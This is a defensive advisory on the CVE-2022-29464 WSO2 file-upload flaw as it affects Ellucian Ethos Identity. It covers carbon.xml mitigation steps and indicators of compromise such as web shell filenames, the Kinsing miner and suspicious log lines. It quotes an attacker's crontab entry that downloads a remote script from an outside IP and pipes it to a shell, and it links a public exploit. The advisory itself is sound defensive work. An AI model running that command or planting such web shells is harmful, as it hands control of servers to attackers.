Were you affected by the recent CVI-2022-29464 EEI breach?
Impact
Unrestricted arbitrary file upload, potentially resulting in remote code to execution.
Affected WSO2 Products
WSO2 API Manager 2.2.0 and above
WSO2 Identity Server 5.2.0 and above*
WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, 5.6.0
WSO2 Identity Server as Key Manager 5.3.0 and above
WSO2 Enterprise Integrator 6.2.0 and above
WSO2 Open Banking AM 1.4.0 and above
WSO2 Open Banking KM 1.4.0 and above
* NOTE: Strata Information Group has also confirmed that WSO2 5.1 is vulnerable
Affected Ellucian Products
Ellucian Identity Services (EIS) 2.x – Ellucian Ethos Identity (EEI) 5.10.3
Mitigation
Complete the following steps on all EIS/EEI installations to mitigate the immediate impact of the vulnerability.
Create a working directory
- [eeiadmin@test-eei1 ~]$ mkdir cve-2022-294464
- [eeiadmin@test-eei1 ~]$ cd cve-2022-294464/
- [eeiadmin@test-eei1 cve-2022-294464]$
Make a working copy of the carbon.xml file and a .bak copy of the baseline contents
- [eeiadmin@test-eei1 cve-2022-294464]$ cp /u01/EEI/wso2is-5.10.0/repository/conf/carbon.xml .
- [eeiadmin@test-eei1 cve-2022-294464]$
- [eeiadmin@test-eei1 cve-2022-294464]$ cp /u01/EEI/wso2is-5.10.0/repository/conf/carbon.xml carbon.xml.bak
- [eeiadmin@test-eei1 cve-2022-294464]$
Edit the carbon.xml file and comment out or remove the ‘Mapping’ elements from the ‘FileUploadConfig’ tag
- [eeiadmin@test-eei1 cve-2022-294464]$ vi carbon.xml
…
<!–
Configuration for handling different types of file upload & other file uploading related config parameters.
To map all actions to a particular FileUploadExecutor, use:
<Action>*</Action>
–>
<FileUploadConfig>
<!–
The total file upload size limit in MB
–>
<TotalFileSizeLimit>100</TotalFileSizeLimit>
<!– WSO2-2021-1738 –>
<!– <Mapping>
<Actions>
<Action>keystore</Action>
<Action>certificate</Action>
<Action>*</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.AnyFileUploadExecutor</Class>
</Mapping>
<Mapping>
<Actions>
<Action>jarZip</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.JarZipUploadExecutor</Class>
</Mapping>
<Mapping>
<Actions>
<Action>dbs</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.DBSFileUploadExecutor</Class>
</Mapping>
<Mapping>
<Actions>
<Action>tools</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.ToolsFileUploadExecutor</Class>
</Mapping>
<Mapping>
<Actions>
<Action>toolsAny</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor</Class>
</Mapping> –>
</FileUploadConfig>
…
[eeiadmin@test-eei1 cve-2022-294464]$
Copy the modified carbon.xml to the EIS ‘conf’ directory
- [eeiadmin@test-eei1 cve-2022-294464]$ cp carbon.xml /u01/EEI/wso2is-5.10.0/repository/conf/carbon.xml
- [eeiadmin@test-eei1 cve-2022-294464]$
Restart the application
- [eeiadmin@test-eei1 cve-2022-294464]$ sh /u01/EEI/wso2is-5.10.0/bin/wso2server.sh stop
- [eeiadmin@test-eei1 cve-2022-294464]$ sh /u01/EEI/wso2is-5.10.0/bin/wso2server.sh start
After the vulnerability has been mitigated, determine if your servers have been compromised. This review should be completed by the information security office at your institution.
If your servers have been compromised, review the ‘EEI Compromised Server Recovery’ document.
Indicators of Compromise
NOTE: This information was collected and compiled from various sites to assist with your own evaluation of your installations. It does not include every possible scenario or iteration.
HTTP Requests
The most obvious indicator is a HTTP request (POST) to the /fileupload/toolsAny endpoint with a Python user-agent string. HTTP requests can be found in the http_access_<date>.log file under the WSO2 logs directory.
Example:
http_access_2022-04-20.log
x.x.x.x – – [20/Apr/2022:22:23:16 -0700] “POST /fileupload/toolsAny HTTP/1.1” 200 32 “-” “python-requests/2.25.1”
It is possible to change the user agent string, so it may or may not show up as Python.
Any requests to this endpoint should be viewed as suspicious.
Malicious Files
The vulnerability allows the attacker to upload content to any directory that the account running the EEI software has write permissions. The most common approach seems to be leveraging the published exploit to get a web shell by dropping a JSP file in the ‘authenticationendpoint’ web application.
JSP Files
Check the base webapps directory to see which context directories have been modified recently. If any of the context directories have been modified since April 19, 2022, there is a good chance that a malicious actor has added or changed a file.
Some common patterns that have been observed across multiple institutions (exact filenames will vary but tend to match a pattern):
authenticationendpoint/
Apr 20 22:42 lgcakci.jsp
Apr 21 00:12 dvkwbw.jsp
Apr 21 00:13 yxxkti.jsp
Apr 21 00:13 gilapg.jsp
Apr 21 01:26 shell.jsp
Apr 21 01:58 wso2is-08-22-2019_19_29.jsp
Apr 21 02:52 kiossso.jsp
Apr 21 02:57 c962284963ce4d6494376088c894e400.jsp
Apr 21 07:21 TYSg1.jsp
Apr 21 09:24 287cvgawfypy8aoopr9zptkhztr.jsp
Apr 21 09:30 c4k.jsp
Apr 21 01:14 oauth2_forbidden.jsp
Apr 21 08:08 indexs.jsp
Apr 21 01:40 unit.jsp
Apr 21 08:33 temp.jsp
Apr 21 00:43 bunzumj.jsp
accountrecoveryendpoint/
emailRecoveryPassword.jsp
In some cases, a fake WSO2 file header was added to the malicious JSP files to make them appear legitimate. If you are unsure whether a file belongs in any of the webapps directories, you can unzip the baseline WSO2 archive in a different location and review/compare the contents.
Web Applications
A malicious web application has been uploaded in some cases and is named using a pattern like ‘api#identity#dev#v1.0#nnn.war’ in an attempt to blend in. The WAR should be removed first followed by the context directory.
Apr 21 02:27 api#identity#dev#v1.0#2870
Apr 21 02:27 api#identity#dev#v1.0#2870.war
Temporary Files
In some cases, files were found in /tmp
Examples:
/var/tmp/.ps
/tmp/HAWFRCTl
/tmp/kdevtmpfsi
File Timestamps
The exploit code was published to Github on April 20, and it was being used in the wild almost immediately. While it is possible to manipulate file timestamps, anything that was created on or after April 19, 2022, should be reviewed and analyzed as suspicious and potentially malicious.
Crontab Entries
In some cases, user-level crontab entries have been created.
Examples:
* * * * * wget -q -O – http://91.241.19.134/unk.sh | sh > /dev/null 2>&1
Malware
The most observed malware installed was the ‘Kinsing’ trojan which is a cryptocurrency miner.
The binary has been placed in multiple locations but most commonly, it is found in the EllucianEthosIdentity application root directory.
Example processes found running (names will vary):
eeiadmin 28817 1 0 02:52 ? 00:00:16 ./kinsing1027190526
ellucian 32365 1 0 04:52 ? 00:00:02 ./kinsing-725710139
Details on the malware can be found on the MITRE site:
https://attack.mitre.org/software/S0599/
CPU Usage
Abnormally high CPU usage on the EEI servers may indicate that the servers have been compromised. CPU usage could indicate a number of potential threats but a cryptocurrency mining trojan has been found on multiple compromised installations (see the ‘Malware’ section for more details).
Network Traffic
Abnormally high network traffic coming from your EEI servers may indicate that the servers have been compromised. Any outbound activity should be monitored and reviewed. There should be very little outbound traffic originating from the IdP application.
An attacker or malware may try to access other machines on your network. Outbound access to new or unrelated machines and outbound network scans may indicate that your EEI servers have been compromised.
REFERENCES
- Security Advisory WSO2-2021-1738 – WSO2 Platform Security
https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 - CVE-2022-29464
https://nvd.nist.gov/vuln/detail/CVE-2022-29464 - hakivvi/CVE-2022-29464
WSO2 RCE (CVE-2022-29464) exploit and writeup.
https://github.com/hakivvi/CVE-2022-29464 - Kinsing malware
https://attack.mitre.org/software/S0599/
This document outlines the steps to be completed to fully recover from the breach.
